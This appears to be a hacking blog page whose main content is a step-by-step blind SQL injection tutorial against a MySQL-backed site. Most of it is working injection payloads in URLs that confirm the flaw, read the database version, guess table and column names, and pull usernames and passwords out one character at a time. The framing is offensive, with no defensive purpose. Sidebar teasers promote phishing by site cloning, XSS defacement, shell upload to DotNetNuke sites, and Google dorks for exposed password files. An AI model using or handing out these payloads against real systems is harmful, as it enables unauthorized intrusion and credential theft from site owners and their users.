Skip to main content

Blind SQL Injection tutorial

Blind SQL Injection tutorial

................................................................................................................................

Let's start with advanced stuff.

I will be using our example

http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc...

then when we want to test it for blind sql injection attack

http://www.site.com/news.php?id=5 and 1=1 <--- this is always true

and the page loads normally, that's ok.

now the real test

http://www.site.com/news.php?id=5 and 1=2 <--- this is false

so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.

1) Get the MySQL version

to get the version in blind attack we use substring

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.

replace 4 with 5, and if query return TRUE then the version is 5.

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works

when select don't work then we use subselect

i.e

http://www.site.com/news.php?id=5 and (select 1)=1

if page loads normally then subselects work.

then we gonna see if we have access to mysql.user

i.e

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend :)

i.e.

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one :)

let's say that we have found that table name is users, now what we need is column name.

the same as table name, we start guessing. Like i said before try the common names for columns.

i.e

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get false then try common names or just guess)

here we merge 1 with the column password, then substring returns the first character (,1,1)


4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far

so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,

cause that makes you better SQL INJECTOR.

Labels:

Comments

Post a Comment

Popular posts from this blog

Hacking via Cloning Site Using Kali Linux

Hacking via Cloning Site Using Kali Linux Hacking via Cloning Site Using Kali Linux  SET Attack Method : SET stands for Social Engineering Toolkist , primarily written by  David Kennedy . The Social-Engineer Toolkit (SET) is specifically designed to perform advanced attacks against the human element. SET was designed to be released with the  http://www.social-engineer.org  launch and has quickly became a standard tool in a penetration testers arsenal. The attacks built into the toolkit are designed to be targeted and focused attacks against a person or organization used during a penetration test. Actually this hacking method will works perfectly with DNS spoofing or Man in the Middle Attack method. Here in this tutorial I’m only writing how-to and step-by-step to perform the basic attack , but for the rest you can modified it with your own imagination. In this tutorial we will see how this attack methods can owned your com...
Post a Comment
Read more

Defacing Sites via HTML Injections (XSS)

Defacing Sites via HTML Injections Defacing Sites via HTML Injections What Is HTML Injection: "HTML Injection" is called as the Virtual Defacement Technique and also known as the "XSS" Cross Site Scripting. It is a very common vulnerability found when searched for most of the domains. This kind of a Vulnerability allows an "Attacker" to Inject some code into the applications affected in order to bypass access to the "Website" or to Infect any particular Page in that "Website". HTML injections = Cross Site Scripting, It is a Security Vulnerability in most of the sites, that allows an Attacker to Inject HTML Code into the Web Pages that are viewed by other users. XSS Attacks are essentially code injection attacks into the various interpreters in the browser. These attacks can be carried out using HTML, JavaScript, VBScript, ActiveX, Flash and other clinet side Languages. Well crafted Malicious Code can even hep the ...
Post a Comment
Read more

Hacking DNN Based Web Sites

Hacking DNN Based Web Sites Hacking DNN Based Web Sites Hacking DNN (Dot Net Nuke) CMS based websites is based on the Security Loop Hole in the CMS. For using that exploit we will see the few mentioned points which illustrates us on how to hack any live site based on Dot Net Nuke CMS. Vulnerability : This is the know Vulnerability in Dot Net Nuke (DNN) CMS. This allows aone user to Upload a File/Shell Remotely to hack that Site which is running on Dot Net Nuke CMS. The Link's for more Information regarding this Vulnerability is mentioned below -                                  http://www.exploit-db.com/exploits/12700/ Getting Started : Here we will use the Google Dork to trace the sites that are using DNN (Dot Net Nuke) CMS and are vulnerable to Remote File Upload. How To Do It : Here, I an mentioning the few points on how to Search for the existing Vulnerability in DNN. Let'...
Post a Comment
Read more

Excellent tricks and techniques of Google Hacks

Frontpage.. very nice clean search results listing !! I magine with me that you can steal or know the password of any web site designed by "Frontpage". But the file containing the password might be encrypted; to decrypt the file download the program " john the ripper". To see results; just write in the ( http://www.google.com/ ) search engine the code: "# -FrontPage-" inurl:service.pwd ============================================== This searches the password for "Website Access Analyzer", a Japanese software that creates webstatistics. To see results; just write in the ( http://www.google.com/ ) search engine the code: "AutoCreate=TRUE password=*" ============================================== This is a query to get inline passwords from search engines (not just Google), you must type in the query followed with the the domain name without the .com or .net. To see results; just write in the ( http://www.google.co...
Post a Comment
Read more

Hacking via BackTrack using SET Attack Method

Hacking via BackTrack using SET Attack Method Hacking via BackTrack using SET Attack  1. Click on Applications, BackTrack, Exploit Tools, Social Engineering Tools, Social Engineering Toolkit then select set.
Post a Comment
Read more